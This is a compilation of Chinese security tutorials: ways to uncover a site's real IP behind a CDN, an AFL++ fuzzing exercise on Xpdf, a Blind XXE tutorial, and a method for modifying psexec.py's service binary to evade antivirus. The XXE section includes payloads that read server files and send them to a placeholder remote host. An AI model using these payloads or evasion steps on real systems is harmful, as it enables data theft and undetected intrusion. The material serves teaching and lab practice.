80.http.get.headers.server:cloudflare  方法六:利用网站返回的内容寻找真实的原IP  如果原服务器IP也返回网站内容,可以在网上搜索很多相关资料。  浏览网站源代码以查找独特的代码片段。在 JavaScript 中使用具有访问权限或标识符参数的第三方服务(例如 Google Analytics、reCAPTCHA)是攻击者经常使用的一种方法。  以下是从 HackTheBox 网站获得的 Google Analytics 跟踪代码示例:  ga('创建','UA-93577176-1','auto');80.http.get.body 可以使用:参数通过body/source过滤Censys数据。不幸的是,普通搜索字段有局限性。但是您可以在 Censys 请求研究访问权限,这使您可以通过 Google BigQuery 进行更强大的查询。  Shodan 是一个类似于 Censys 的服务,同样提供 http.html 搜索参数。  搜索示例:https://www.shodan.io/search?query=http.html%3AUA-32023260-1  方法七:使用外地主机解析域名  国内很多CDN厂商因为各种原因只做国内线,国外线路可能几乎没有。这时候我们可能会使用外地主机直接访问真实IP。  方法八:网站漏洞搜索 目标敏感文件泄露,如phpinfo、GitHub信息泄露等探针 XSS盲打、命令执行反向shell、SSRF等 无论是社会工程还是其他手段,目标网站获取CDN中的管理员账号,在CDN的配置中可以找到网站的真实IP。  方法九:网站邮件订阅搜索  RSS邮件订阅,很多网站都有自己的sendmail,会发邮件给我们。此时,服务器的真实IP将包含在邮件的源代码中。  方法十:用Zmap扫描全网  要找到xiaix.me网站的真实IP,我们首先从apnic获取IP段,然后使用Zmap的banner-grab扫描出开放80端口的主机进行banner抓包,最后在Host中写入xiaix.me http请求。  方法十一:F5 LTM解码方法  服务器使用F5 LTM进行负载均衡时,也可以通过set-cookie关键字解码得到真实ip,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,第一个小数部分的十进制数是487098378取出来,然后转换成十六进制数1d08880a,然后从后往前,取出四位数字,就是0a.88.08.1d,最后再转换成十进制数10.136.8.29,也是最后一个真实IP。  方法十二:网页敏感信息  这条思路来源于Jacko  favicon哈希值  根据网站图标哈希值搜索IP  python2脚本 import mmh3 import requests response = requests.get('https://example.com/favicon.ico') favicon = response.content.encode('base64') hash = mmh3.hash(favicon) print 'http.favicon.hash:'+str(hash)  去fofa或者shodan上搜索该哈希值  查询格式: fofa:icon_hash="xxx" shodan:http.favicon.hash:xxx  HTML源代码检索查找IP  根据网站页面HTML中特有的字符串去搜索引擎中搜索,如目标页面中由HTML标签为<title>的字段比较特殊,那么可以去FOFA中搜索: title="xxxxxxxxxxxxxxx"  搜索到的结果会显示IP,访问该IP,若能够正常访问则为真正IP,如果打不开则为CDN或虚拟主机服务器  参考文章: https://www.wolai.com/3xXwCoP1KEgkWWG8bnnianhttps://www.codetd.com/en/article/12945130
Fuzzing101系列 Exercise 1 - Xpdf
序言  Fuzzing101系列包含针对10 个真实目标的10个练习,在练习中一步一步学习Fuzzing技术的知识。  模糊测试(Fuzzing/Fuzz)是一种自动化软件测试技术,它基于为程序提供随机或变异的输入值并监视它的异常和崩溃。  AFL、libFuzzer 和 HonggFuzz 是现实世界应用中最多的三个模糊器,这三个都是覆盖引导的进化模糊器(Coverage-guided evolutionary fuzzer)。其中 进化(evolutionary)是一种受进化算法启发的元启发式方法,它基本上包括通过使用选择标准(例如覆盖率)随时间推移初始子集(种子)的进化和变异。 覆盖引导(Coverage-guided)是指为了增加发现新崩溃的机会,覆盖引导的模糊器收集和比较不同输入之间的代码覆盖率数据,并选择那些导致新执行路径的输入。  在这个练习中,我们将fuzz Xpdf PDF 查看器。目的是在 XPDF 3.02 中找到 CVE-2019-13288 的崩溃/PoC。  CVE-2019-13288 是一个漏洞,它可能会通过精心制作的文件导致无限递归。由于程序中每个被调用的函数都会在栈上分配一个栈帧,如果一个函数被递归调用这么多次,就会导致栈内存耗尽和程序崩溃。因此,远程攻击者可以利用它进行 DoS 攻击。可以在以下链接中找到有关不受控制的递归漏洞的更多信息:https://cwe.mitre.org/data/definitions/674.html  你会学到什么  完成本练习后,你将了解使用 AFL 进行 fuzz 的基础,例如: 使用检测编译目标应用程序 运行模糊器(afl-fuzz) 使用调试器 (GDB) 对崩溃进行分类  环境  所有练习都在 Ubuntu 20.04.2 LTS 上进行了测试。 我强烈建议您使用相同的操作系统版本以避免不同的模糊测试结果,并在裸机硬件而不是虚拟机上运行 AFL,以获得最佳性能。  否则,您可以在此处找到 https://drive.google.com/file/d/1_m1x-SHcm7Muov2mlmbbt8nkrMYp0Q3K/view?usp=sharing 镜像。用户名为 fuzz / fuzz。  AFL 使用非确定性测试算法,因此两个模糊测试会话永远不会相同。我强烈建议设置一个固定的种子(-s 123),这样你的模糊测试结果将与本文的结果相似。  下载并构建目标  首先为要进行模糊测试的项目创建一个新目录: cd $HOME mkdir fuzzing_xpdf && cd fuzzing_xpdf/  为了完全准备好环境,需要安装一些额外的工具(make 和 gcc) sudo apt install build-essential  下载 Xpdf 3.02: wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz tar -xvzf xpdf-3.02.tar.gz  构建 Xpdf: cd xpdf-3.02 sudo apt update && sudo apt install -y build-essential gcc ./configure --prefix="$HOME/fuzzing_xpdf/install/" make make install  下面对 Xpdf 进行测试,首先下载一些 PDF 示例: cd $HOME/fuzzing_xpdf mkdir pdf_examples && cd pdf_examples wget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdf wget http://www.africau.edu/images/default/sample.pdf wget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf  使用以下命令测试 pdfinfo 二进制文件: $HOME/fuzzing_xpdf/install/bin/pdfinfo -box -meta $HOME/fuzzing_xpdf/pdf_examples/helloworld.pdf  安装 AFL++  我们将使用最新版本的 AFL++ fuzzer(https://github.com/AFLplusplus/AFLplusplus)  安装依赖项 sudo apt-get update sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev  构建 AFL++ cd $HOME git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus export LLVM_CONFIG="llvm-config-11" make distrib sudo make install  执行afl-fuzz,查看是否安装成功  认识 AFL++  AFL 是一个覆盖引导的模糊器(coverage-guided fuzzer),这意味着它收集每个变异输入的覆盖信息,来发现新的执行路径和潜在的错误。当源代码可用时,AFL 可以使用插桩(instrumentation),在每个基本块(函数、循环等)的开头插入函数调用。  要为我们的目标程序启用检测,我们需要使用 AFL 的编译器编译源代码。  首先,我们要清理所有之前编译的目标文件和可执行文件: rm -r $HOME/fuzzing_xpdf/install cd $HOME/fuzzing_xpdf/xpdf-3.02/ make clean  现在我们将使用 afl-clang-fast 编译器构建 xpdf: export LLVM_CONFIG="llvm-config-11" CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/fuzzing_xpdf/install/" make make install  现在可以使用以下命令运行 fuzzer: afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/install/bin/pdftotext @@ $HOME/fuzzing_xpdf/output  每个选项的简要说明 -i 表示输入示例的目录 -o 表示 AFL + + 将存储的变异文件的目录 -s 表示要使用的静态随机种子 @@ 是占位符目标的命令行,AFL 将用每个输入文件名替换  fuzzer将会对每个不同的输入文件运行 $HOME/fuzzing_xpdf/install/bin/pdftotext <input-file-name> $HOME/fuzzing_xpdf/output 命令  出现错误,根据提示,执行以下操作: sudo su echo core >/proc/sys/kernel/core_pattern exit  成功运行,等待一段时间后,发现已经有了一个crash  可以在$HOME/fuzzing_xpdf/out/ 目录中找到这些崩溃文件。一旦发现第一次崩溃,就可以停止fuzzer,上图中已经出现了一个独特的崩溃。根据您的机器性能,最多可能需要一到两个小时才能发生崩溃。  为了完成这个练习,下面尝试使用指定的文件重现崩溃,调试崩溃发现问题,并且修复问题。  重现崩溃  在$HOME/fuzzing_xpdf/out/目录下找到 crash 对应的文件。文件名类似于id:000000,sig:11,src:000390,time:103613,execs:71732,op:havoc,rep:16  将此文件作为输入传递给 pdftotext $HOME/fuzzing_xpdf/install/bin/pdftotext '/home/fuzz/fuzzing_xpdf/out/default/crashes/<your_filename>' $HOME/fuzzing_xpdf/output  它将导致段错误segmentation fault并导致程序崩溃。  调试  使用 gdb 找出程序因该输入而崩溃的原因。  首先使用调试信息重建 Xpdf 来获得符号堆栈跟踪: rm -r $HOME/fuzzing_xpdf/install cd $HOME/fuzzing_xpdf/xpdf-3.02/ make clean CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --prefix="$HOME/fuzzing_xpdf/install/" make make install  然后使用GDB,输入run gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/<your_filename> $HOME/fuzzing_xpdf/output  然后输入bt回溯查看栈帧  发现有许多次Parser::getObj的调用,它们似乎表示一个无限递归。如果你去 https://www.cvedetails.com/cve/cve-2019-13288/ ,你可以看到描述符合我们从 GDB 得到的回溯。  实验推荐  实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5ec5-3232-4f16-8c14-c98b75f8915d>>
浅析无回显的XXE(Blind XXE)
xml介绍  XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。  内部实体  XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。 <?xml version="1.0"?>//这一行是 XML 文档定义 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>  上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写 <message> <receiver>Myself</receiver> <sender>Someone</sender> <header>TheReminder</header> <msg>This is an amazing book</msg> </message>  其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "test" >]>  这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样  示例代码: <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>  我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。  外部实体  示例代码: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds>    <user>&xxe;</user>    <pass>mypass</pass> </creds>  当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下: <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>  我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。  通用实体  用 &实体名;在DTD 中定义,在 XML 文档中引用 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile>      <firstname>Joe</firstname>      <lastname>&file;</lastname>     ... </updateProfile>  参数实体  (1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用  示例代码: <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;  抛转:参数实体在我们 Blind XXE 中起到了至关重要的作用  有回显XXE  这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。  本地服务器上放上解析 XML 的 php 代码:  xml.php <?php    libxml_disable_entity_loader (false);    $xmlfile = file_get_contents('php://input');    $dom = new DOMDocument();    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);    $creds = simplexml_import_dom($dom);    echo $creds; ?>  其中:LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件  触发xxe <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "Hello world!" >]>  读取本地服务器C盘的flag文件 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [   <!ENTITY goodies SYSTEM "file:///c:/flag"> ]> <creds>&goodies;</creds>  引用外部实体读取文件  引用方式是使用 引用公用 DTD 的方法读取  无回显XXE  有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。  xml.php <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>  test.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt"> <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx?p=file;'>">  payload <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>  我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。  这样,我们就读到了flag文件的内容。  参考文章  https://xz.aliyun.com/t/3357#toc-10 一篇文章带你深入理解漏洞之 XXE 漏洞  实验推荐  实验:第十四周 | blind xxe(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9117-d620-481d-91f8-344e0ac69dea>>
psexec.py规避杀软
前言   在内网渗透中,当获取到一个账号密码后,经常会使用impacket套件中的psexec.py进行远程连接并执行命令,但是因为用的人多了,杀软也对psexec.py特征进行了拦截,也就导致了如果使用默认的psexec.py进行执行命令时会失败。   原理分析   psexec.py的原理是通过smb上传一个服务程序到c:\windows(ADMIN$)目录,服务程序通过管道进行后续的命令执行的输入输出。   服务程序来自于remcomsvc.py:   服务安装通过serviceinstall.py进行:   服务和服务文件的名字默认是随机的:   直接psexec.py不带任何参数,上传过去的服务文件名就长这样:   因此为了防止奇奇怪怪的名字很容易被机器负责人发现,psexec.py也是提供了相应的参数用来自定义:   这里要提一嘴的是,因为UAC的缘故,如果RID不是500,就算账号是管理员也是没权限上传文件到ADMIN$目录,程序报错如下:   改造   默认情况下,使用psexec.py会被拦截:   根据上面的杀软截图能看到是服务程序被拦截,因此我们需要对服务程序进行修改来尝试绕过杀软,源码在这:   https://github.com/kavika13/RemCom   这里可以尝试修改print的输出:   或者修改管道名称:   然后重新生成RemComSvc,然后转成hex: import binascii filename = 'RemComSvc.exe' with open(filename, 'rb') as f:   content = f.read() print(binascii.hexlify(content))   最终可以规避杀软进行命令执行:   总结   本文介绍了通过修改服务程序来绕过杀软,让psexec.py再次大放异彩。